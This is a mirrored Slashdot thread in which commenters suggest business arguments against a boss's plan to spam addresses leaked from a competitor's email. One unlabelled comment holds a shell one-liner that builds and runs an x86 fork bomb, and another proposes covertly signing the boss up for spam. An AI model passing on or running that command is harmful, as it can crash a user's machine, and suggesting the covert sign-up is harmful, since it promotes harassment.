Slashdot Mirror
How To Convince My Boss Not To Spam?
An anonymous reader writes "The small travel agent that I work for recently received an email from one of our competitors with several thousand of their potential customers in the 'To:' and 'Cc:' fields. My boss now wants to use these addresses to send unsolicited advertisements. I would like to convince him not to do this, as I believe that this practice is morally wrong and legally dubious. However, morals don't go very far in the business world, so I'm asking Slashdot: what business-oriented arguments can I use to dissuade my boss from spamming?"
I reckon you've got a few options:
Ok, so you're dealing with a sales-focussed person here, the only one likely to carry any weight is going to be last one and even then, you may be onto a losing streak. Assuming this person controls your pay packet, you're either going to have to put up a token resistance and then keep your mouth shut; or perhaps if you have the option, consider whether you want to be working for someone like that...
Explain that sending spam might put your email server on the Spamhaus blacklist, OR pissing of your provider, so you cannot send email again to existing clients.
Simply tell him that, usually, spam is filtered and deleted automatically. Once he sent a sufficiently large amount of spam, the filter will filter away the legitimate e-mails too.
Get his home email address
Enter it here (don't visit from work, do it from a web cafe and behind 7 proxies)
http://www.spamyourenemies.com/
After a while he'll go off the idea. You might want to recommend Thunderbird to him.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Here's some of the stuff that's likely to happen to your company if it sends those messages:
* Your mail server will be added to blacklists. Legitimate messages you send later may disappear with no indication that they have done so, causing endless frustration and possibly lost money.
* Complaints may reach your web site's hosting provider, who may take it offline. Seriously: this happened to one of my clients once. This does happen.
* Some recipients are likely to be annoyed and may decide to never do business with your company. The long-term costs of this could be significant.
* Depending on where you're based, this could be illegal under either protection of privacy laws (e.g. the UK's Data Protection Act) or anti-spam laws (e.g. several state laws in the U.S.). Your company may receive a hefty fine because of it.
Stealing your competitor's customers is what capitalism is.
You need to separate your hate of spam from the realities of business:
Ethical, kind people go bankrupt.
I have my own company, and if this happened to me I would be working this gift from God HARD.
So, at the risk of blowing my karma for the next 200 years:
Either do the job or quit.
Seriously. You got hired to do his bidding, if he wants to spam let him reap the consequences, make careful note of your objections. Then also admit you're a tool.
And if you can't live with that then grow some backbone and quit. There has to be other employment for someone with your skills.
MP3 Search Engine
1. It's an abuse of personal data, since the owner of that data (the individual) did not opt in. In many countries (particularly the UK) this is illegal and can land you in a lot of trouble.
2. If you're a small company, your reputation is going to be worth a lot more than one or two customers who may answer your email. Doing something that's at worst illegal and and at best irritating is hardly going to help your reputation.
3. Business ethos and ethics matter. As a consumer, I often know that dealing with a small company could cost slightly more than buying from a large one with economies of scale. However, I may feel it is worth it if the service is better or if I identify positively with the company. I have broken off relations in the past with companies that marketed too aggressively. This is entirely rational behaviour and not something limited to techies who "get" spam and are over-protective of their inboxes.
Cheers,
Martin
Author of `Professional Plone Development`, available from Packt Publishing.
And is the right choice, if done smoothly. Don't mass email. Investigate each contact send a personalized note targeted at them and their business.
Use the information, just don't abuse it. Spam is quick and dirty, but a poor substitute for the elbow grease of real salesmanship.
My company has a variety of contact lists, and if any of them were to "leak", by CC etc, I'd start getting emails on addresses that *look* like real people but are in fact aliases for me.
If you boss spams like this, there exists the possibility that the other firm have taken this elementary precaution, which may be anything from seriously embarrassing to legally expensive.
Dominic Connor,Quant Headhunter
The response rate to this sort of advertising is extremely low. He'll be lucky to get a single response, thus making it not worth the time to compose an email.
Most people react badly to unsolicited emailed advertisements. It is likely that some of these people are already customers or potential customers. This will dissuade them from choosing your company in the future.
If any customers are in the EU, you may have a data protection liability. Even if you don't, at least some people will respond requesting to be removed from the mailing list, which is something that will have to be dealt with.
It's very likely to be against the terms and conditions of your ISP.
It is possible that you will be blacklisted by the recipients ISPs (unlikely if he does this once)
There may be some legal ramifications for taking advantage of an obvious mistake by the other company. Even just a baseless legal threat would take time and money to deal with.
The things you see when you don't have any mod points :-(
Anyway Absolutely spot on, a competitors mailing list is marketing golddust, you could probably get a lot of sales data without too much hassle, emails going to the same company would be a good target indicator. Google API searching with the email domain could winnow out the people with websites (
...but actually I think it's insightful. We keep getting such stupid mail, too, and I've done exactly what you suggest, with good results. ;)
Who is General Failure and why is he reading my hard disk?
point him at this:
http://www.sethgodin.com/permission/
Seth Godin is the marketing guru who advised google on how to succeed in business. he knows his stuff, and he is MASSIVELY anti spam.
Tell your boss he needs to read the guys book before he does something that could wreck his business.
DRM-free indie games for the PC and Mac: Positech Games
better still, post your question to slashdot with enough information that anyone with half a brain could know you were talking about them, and get fired.
Problem solved....
A learning experience is one of those things that say, 'You know that thing you just did? Don't do that.' - D. Adams
In the rare event of success the result is more likely to be ... a less than satisfactory arrangement (e.g. ugly woman, one night stand, STDs, etc.)
So you're saying there's a chance it might work?
Hmmm..
A learning experience is one of those things that say, 'You know that thing you just did? Don't do that.' - D. Adams
> gmail's spam filtering beats Thunderbird's handily
And in this, we see an faint echo of the enormous power in the information that Google collects:
1) They have a lot more training data
2) They can make a comparative analysis to catch large batches of largely identical messages which arrive at their servers within short time periods